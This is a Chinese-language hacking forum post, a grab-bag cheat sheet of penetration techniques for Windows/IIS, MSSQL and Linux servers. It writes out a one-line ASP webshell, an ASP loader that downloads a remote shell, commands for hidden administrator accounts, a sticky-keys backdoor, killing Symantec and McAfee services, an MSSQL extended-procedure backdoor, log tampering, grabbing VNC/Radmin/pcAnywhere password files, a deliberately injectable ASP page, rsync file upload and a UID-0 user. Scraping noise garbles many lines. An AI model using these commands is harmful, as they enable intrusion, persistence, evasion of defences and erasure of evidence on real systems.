渗透技巧总结

admin

旁站路径问题
1、读网站配置。
4 ]/ k/ l/ s7 b8 f$ u2 W) O2、用以下VBS
On Error Resume Next
1 I+ v8 i, s& ?- r& Q2 g) QIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
# l+ c5 i4 N* n3 M: x8 {; h
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

4 c  z6 B% k  t" s3 `4 nUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
, Z# Q, x8 R  ~4 C! ^" lSet ObjService=GetObject

0 ?+ W9 L& |) F, u1 V! B("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
" A' l7 D1 F" E1 z8 a3 L/ I5 V                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
. O5 p8 e+ Z5 {8 m         
/ E) {" D; e( @
. T$ Q# q* o: y$ g       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
8 w) v4 ?( ]+ n' `! {
* b- c9 b( U% k9 e) ]9 kOService.ServerComment & "]"
9 g; k/ U8 m! a  I( g0 O$ z/ Z; L8 k                For Each Binds In OService.ServerBindings
     

" s( ]' h; ]( [0 v6 x1 w                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

0 o/ o- v: ?4 B! H# _% nWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
* g" V" E* j  K( d5 c                Next
      
3 @" D3 q1 \& K8 Z
, ?% e7 D5 D  x0 b7 B8 U         WScript.Echo "ath            : " & VDirObj.Path
* c  `( R9 C3 n$ Z& j        End If
Next
7 a; W# C6 x2 ~; X# e# h复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
# q( l5 Z( d& @—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
2 o7 G5 }4 B# }  G3 s——————————————————————
phpMyAdmin暴路径办法:
! L) D  N& c( Z. I9 v. Z% B4 VphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
1 }' _! k. Y4 h4 i. ~  G网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
' w* y- q/ d! \& h4 X: n# M- {CMD下操作VPN相关
( }# L$ c: V" X1 ~netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
  d! J9 G/ a7 t4 J) knetsh ras ip show config #查看VPN分配IP的方式
: V2 ^, y8 b: i' y: {* Anetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
3 [) ~1 H$ g; W- T$ H* ~, i* I2 Rnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
5 H7 q3 }. k! }# f' Q% d5 w* T————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
( u& O+ u7 g) C& @0 P1 O6 G
另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
0 [: A4 k8 k* P: pvar o=new ActiveXObject( "Shell.Users" );
0 B/ C) C1 k" i7 [& }! o  lz=o.create("test") ;
z.changePassword("123456","")
- v, u7 i# f# M% B2 [z.setting("AccountType")=3;

vbs:
2 z: {2 O% ?7 \$ ]Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
$ D4 N# m7 g/ _! [1 j. gz.changePassword "123456",""
& H$ {. A8 b1 A1 v! rz.setting("AccountType")=3
——————————————————
& |/ y' ^9 @) Xcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

; Q2 W8 k2 \5 Q" r+ Q命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
4 f2 d9 i% s9 q" j1 c1 j( qcacls "目录" /d everyone               #everyone不可读，包括admin
* ?3 z$ O8 `: S# n$ w————————以下配合PR更好————
6 b' m3 W8 q7 Y$ z3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
. G1 T" V" s* J* N2 h+ A' sc、终端服务器超出了最大允许连接
( F% R! ^) T3 tXP 运行mstsc /admin
8 g5 z$ F' e9 l# H  b2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
" K9 w, E9 B" l  x, U处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
$ ?1 k, Z. R; _# k# n: d! \9 Rnet stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
2 [+ U" f7 i! X" Z, y
. b( Q' b/ d% L' l! K0 s9 R0 d3 z卖咖啡：net stop "McAfee McShield"
) K0 E, x' U* F6 U! r4 }, y————————————————————

5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
4 Y+ g! b0 C% r  a$ g  [; U+ Gcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
8 d4 _  ?7 D" H" i- _——————————————————————
隐藏账号添加：
! h8 ^# V* p, {% T5 @% T( M1 I0 ]: p1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
8 \9 ~$ q- v  M: c0 V2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4 ]/ y( P; R. j2 X4 n7 C; |4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
# Q7 V% g. a5 l& q# V' |MSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
$ W: Y# ]2 L3 r. h& t) w4 S直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
2 H6 m. j0 S9 H用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
7 L2 R8 I. i' |2 e  j
; \2 \# ?( S: S+ i/ |$ xMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
: H) I: V  u5 p: P$ t; f找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

8 g4 P1 T% @5 D" c) `+ O% YServer\90\Tools\Shell\mru.dat
" Y# e0 K: k1 o' v/ M5 ?—————————————————————————
$ m# x) }* `' {6 e6 o% ]防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
! L0 U* [9 E' q9 |
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
/ S8 Z* f0 M: G4 q9 K( CSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
6 W) n3 E. X1 S0 k1 A5 SSet Ads = Server.CreateObject("Adodb.Stream")
* Y3 b: Q8 h- K3 d& `, ?2 LWith Ads
! W. i0 B, e: U% V+ Y; R.Type = 1
4 ~! s9 m$ q9 k0 P* ]; x.Open
.Write GetRemoteData
2 V) x) |+ c. a.SaveToFile Server.MapPath(s_LocalFileName), 2
) N' L9 f) u1 |4 _; q) i) ].Cancel()
" }0 e% \# }+ H% V0 y2 c" i! ~.Close()
End With
* P) R9 n; s& S0 @Set Ads=nothing
  Q$ y! c5 B! ?+ k+ O/ LEnd Sub

- o' v: Q( l/ w6 z0 ieWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
7 M! q& e! v7 X" ~( X4 ]3 Q9 PRadmin 默认端口是4899，
: a- }) P0 {% J' P- d+ ], Q( E3 hHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
0 _" p, z  g; i& U& s( HHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
$ b; H3 k5 T: a然后用HASH版连接。
# D' P' H) W! d( R* P' g8 ~如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
, Z7 ^9 P9 g2 g+ E: J) k! jUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
8 U+ z# _* ~( i搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
2 d: p/ p. C) @4 p; h没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

+ y9 t, s4 Y; s6 n3 Y1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
( d! t5 K$ N8 E- b0 sstrSQLDBName = "数据库名称"
, u2 l# ?5 B( n2 i3 [. DSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

, T# w  {0 B/ W. V";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
9 k7 \. _; |, X9 J
strSQLDBName & ";"
# b3 R- o0 ?+ L) E4 T+ f) Zconn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
) A/ i/ S1 u5 @8 l- v, X' i2 xid = request("id")
) ]" B. V0 h! C" J, H6 @strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
+ w( ?0 y9 ?% ?rs.close
6 O( c! w  q# \/ H6 C! Y$ r9 E%>
复制代码
: ~) Q7 Z4 z  j******liunx 相关******
0 n" {5 I5 ]! g  D# o7 j1 m一.ldap渗透技巧
2 E; w2 a4 J/ S6 \% j6 r% Z1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

0 x0 F1 D/ Z5 i* v0 |3 C2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
: H0 a# ^, h1 l* p
3.查找管理员信息
6 J7 _; i# L' L' ^1 k匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
' z/ o' C) ]/ K  q- b) ^  f
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
  N. ]" f6 s; X( l9 S有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

. x3 l& a' C- l1 E% ?1 y4 q"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


" c0 k8 T: _2 l4 a% [4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
1 F4 G9 x7 w, M: f
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
9 Z2 d( }: Q5 n: E2 N! S找到ou,dc,dc设置
- G, P4 |: `% C, q% T1 A6 t& `  B" y
2 O/ w) M/ h9 t& s/ q3.查找管理员信息
匿名方式
; v0 U* a# P$ `; k* W, @# F4 Z9 sldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
: Y6 x( H7 F8 t8 b
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
6 [0 a  c5 |$ U! a0 y有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
5 T: G' F; W1 O/ T8 z* u# \6 y
9 Z# m/ A9 i1 f# \! F" c"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


+ k% q1 J- D4 t4 v- o4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
- d! a  c& x+ v* s
) s9 v: {  R* @* ~0 q3 b$ U渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
. O- F" s$ _8 y) G8 s) T7 mversion: 1
2 p* y0 W# ?! w6 e- X- r8 {dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

0 Q* B7 ~- x1 D* edn: uid=manager,dc=ruc,dc=edu,dc=cn
+ s( [3 j' h; m4 A6 s, p3 suid: manager
objectClass: inetOrgPerson
3 i0 s3 l- ?& f9 A1 c5 m# @objectClass: organizationalPerson
5 V2 O- H( M: V1 s1 Y! W$ P" jobjectClass: person
) ]+ k# M9 w+ I6 r( F; R. OobjectClass: top
3 b- M  z7 O- hsn: manager
1 ^2 o9 ~7 o  S) H" Qcn: manager
4 d# e: H2 R. E% z4 l) t
6 I( n; G+ p% `# Tdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
7 K9 g3 o7 h8 d: h% nobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
/ `/ S0 N" l' E6 j$ I& WobjectClass: top
# u( C" w+ \# t( c% ^( ssn: superadmin
1 p9 D0 ^9 S# j* {: u) \. Qcn: superadmin

, t( E3 W$ M2 Bdn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
) E- ^% K; b: Y0 s* e7 @! _( o  K8 u* aobjectClass: inetOrgPerson
objectClass: organizationalPerson
: s1 {( O1 w# Y9 LobjectClass: person
0 w' O! ^; z% |2 D  a( o1 B8 TobjectClass: top
# q, t# Y! i: t( K* }& qsn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
) D+ [' m8 |/ L5 ?uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
6 A) i+ d& W& F; x0 R; V* ~0 x7 aobjectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
% `. b3 r3 c$ e3 Y; [
more
/ }3 P' T& h( s. k0 Lversion: 1
0 Q5 ^6 v9 U* T* j% N2 ddn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

3.查找
- I7 z# K& a5 K! ubash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
9 X& h) J/ I8 U$ _5 @( Hdn:
; |$ |2 z* @' |7 j7 O2 n7 M6 {objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
8 z$ w- h  ?# U' |+ H! G0 xsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
4 d( G, o, N& z$ J/ G. ]8 SsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
1 u# ^8 t- Y2 T$ j/ ^supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
  n) Q% M: t7 b2 x: ~supportedExtension: 2.16.840.1.113730.3.5.6
1 h0 B8 ~5 Z: Z$ ^7 bsupportedExtension: 2.16.840.1.113730.3.5.4
) y, A$ w5 K, Z4 `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
1 p: R# o+ m$ m) Q5 e$ k7 c5 psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
# e+ l: @3 }+ H  m4 O+ YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
( R8 F; P) O  b$ f3 ^& JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
4 o6 [( l. ^) g( }; W  w1 {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
( w& J. u+ `! i3 a0 ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
* V& ]+ J2 y+ o% z8 `+ G* X) esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
8 r; C, n, |- p7 d) BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
3 z; g6 ]7 M" v  I+ Z$ h; P% U# TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
! n5 K% N3 c- z( m4 Y* ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
3 K1 k% S1 t1 t$ R  `4 Q: f  U2 G! ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
2 l0 t- P. j8 G3 @# a0 PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
% g4 A) ~% n) Q1 ]$ CsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
7 j/ Y/ _* \8 f9 ^% K$ O( bsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
8 w9 p# a4 x2 @: rsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
4 D9 G. ?, m% m8 y1 K) m" x1 ~; fsupportedControl: 2.16.840.1.113730.3.4.9
' n4 d$ `, S' w; m; @% F8 V+ L3 osupportedControl: 2.16.840.1.113730.3.4.16
5 P; [8 b, F/ @, UsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
) s0 x) }- h+ x4 fsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
7 N" ?$ v6 I4 c) P, asupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
) `, E. ^4 f- SsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
! m5 p0 o3 d2 K% ]supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
9 B3 K6 Z8 V3 h( U! o4 d1 ?6 H' BsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
7 |- D( j7 P7 I+ F7 rsupportedControl: 1.3.6.1.4.1.1466.29539.12
' c& w8 y" U+ UsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
6 L  ?7 q$ n: ^2 D' h7 tsupportedControl: 2.16.840.1.113730.3.4.13
- ^0 I/ o( m; ssupportedSASLMechanisms: EXTERNAL
$ ?1 w$ J9 }  N  D! q, i5 msupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
. c4 A7 K' r7 B! LsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
4 _* C1 a+ @7 ~  V3 r9 x3 @5 _vendorVersion: Sun-Java(tm)-System-Directory/6.2
# J# w* U( E0 ]8 Q0 Idataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0 n3 Q' N* D) w3 O4 O6 _0 ]; CsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
& N+ \5 c4 y1 y1 I; rsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
2 D" M4 i. ]! A! {" B. ksupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
) V: L- j& R$ A8 K; NsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
6 o" U7 @* K: \$ I' U5 ^supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
' N5 V3 d% o; ?& R' ]. c# @/ fsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
/ d  E7 i* c* x) gsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
. \: O: s0 g) j) XsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
4 j4 w  w& D3 k; ?/ KsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
& n/ Z$ t. O$ JsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
& W2 c0 P* |4 S3 asupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
( T. v: U) _, k) a2 QsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
' _0 A. n' C7 V$ @6 Q* ysupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
0 ^- Q& }! l5 v0 [! P/ @& @8 ZsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
; Q4 K* f+ i/ o* ]" H9 ]% M/ T+ ~; ksupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
! H4 Y4 e, B7 s! s& e9 v( hsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
4 j( G5 r. v7 I4 Q' e7 V) wsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
" ~/ ]3 Y; E; C: TsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
1 z. N& [/ J) T1 G, psupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
8 Z. v+ ]5 Q4 SsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
+ x7 e+ Z! ^/ {8 Q0 osupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
; P" k/ l8 i  m' A) |+ _————————————
, j* {$ y' c5 P$ z9 |$ G2. NFS渗透技巧
showmount -e ip
列举IP
——————
3.rsync渗透技巧
; g3 U: i+ k9 a! M' n! r1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
auto
+ e' ~7 h5 E( e; c3 c, Y0 ]img_auto
8 y* D7 D0 b4 z8 Z, |" P- p* k# [html_cms
img_cms
" E' Y: W2 M% L; q( yent_cms
. x8 C7 s- {, Dent_img
, }/ h7 {7 o7 e( vceshi
res_img
8 L2 p, R; B( K2 i8 K3 pres_img_c2
chip
chip_c2
0 i0 D9 ^4 G3 j5 F) nent_icms
; m3 ]& y" M6 M- _  `) h! a9 ggames
  U! ^1 F" [. N3 z8 bgamesimg
media
' x& `) ]- P, umediaimg
fashion
: L- [4 g  R$ t9 {8 e0 b; Ares-fashion
+ C) y- _: U" Z, k0 Bres-fo
taobao-home
res-taobao-home
house
" T( y! z: M  d) Sres-house
res-home
res-edu
res-ent
res-labs
res-news
5 `" a) M; w' o/ L% `- zres-phtv
res-media
& c* @  r. _3 Nhome
# B( ~2 V' N! j5 R$ ?& F: q$ D( vedu
news
2 `, d* r  @4 i0 G4 }res-book

. w! f0 @: ]: L6 I# P看相应的下级目录(注意一定要在目录后面添加上/)

; R3 r) w# L# Q
rsync 210.51.X.X::htdocs_app/
# q2 K; t, ?5 b4 ^' D, arsync 210.51.X.X::auto/
% D" d( {1 O+ ~3 R2 zrsync 210.51.X.X::edu/
) Z7 h8 g. K! D- d) A
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

9 d7 c0 A8 X& j, U$ k3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
6 T% n" p; C+ i5 A( o0 {  ihttp://app.finance.xxx.com/warn/nothack.txt
. N) v& u4 x8 p- L
# v  G1 D/ z" L四.squid渗透技巧
nc -vv baidu.com 80
  ?( G! K& `- X6 YGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
1 D/ x% h7 D9 X9 N) m五.SSH端口转发
9 ^" V0 {& a  s% Pssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
+ P7 l% t; }$ V5 e. _: D& o; h
5 q* o8 d" y  z: ^六.joomla渗透小技巧
7 \( j" V2 F; v- c确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
* T/ p* H% W0 H. X6 w4 D% P5 k+ w' o
2 S/ u- h2 M, c7 r15&catid=32:languages&Itemid=47
2 {2 ]* K8 s; P: u& m  P1 e6 L
重新设置密码
index.php?option=com_user&view=reset&layout=confirm
7 v" d2 z9 Y3 r$ ~! B
七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
2 Q  C. ^9 y1 a  q
4 n  R; P! d- P八.freebsd本地提权
! I0 A1 D/ G' D  L0 e) `[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
' E- `% D) r+ Z% y) E% I# Y( B* `* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
& @& d5 G8 J" ^6 V. ?& i: d7 w* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
8 M4 n/ H8 a; ^% p) H* i* [argp@julius ~]$ ./nfs_mount_ex
; h5 y2 x! f( N* v* }* Y% S& h*
calling nmount()

1 |/ Y7 Q8 @. X! j9 I; w（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
9 j& z5 C4 a8 y5 v3 q* w1 W——————————————
) K: C" b0 A/ v7 E- k4 s7 X感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
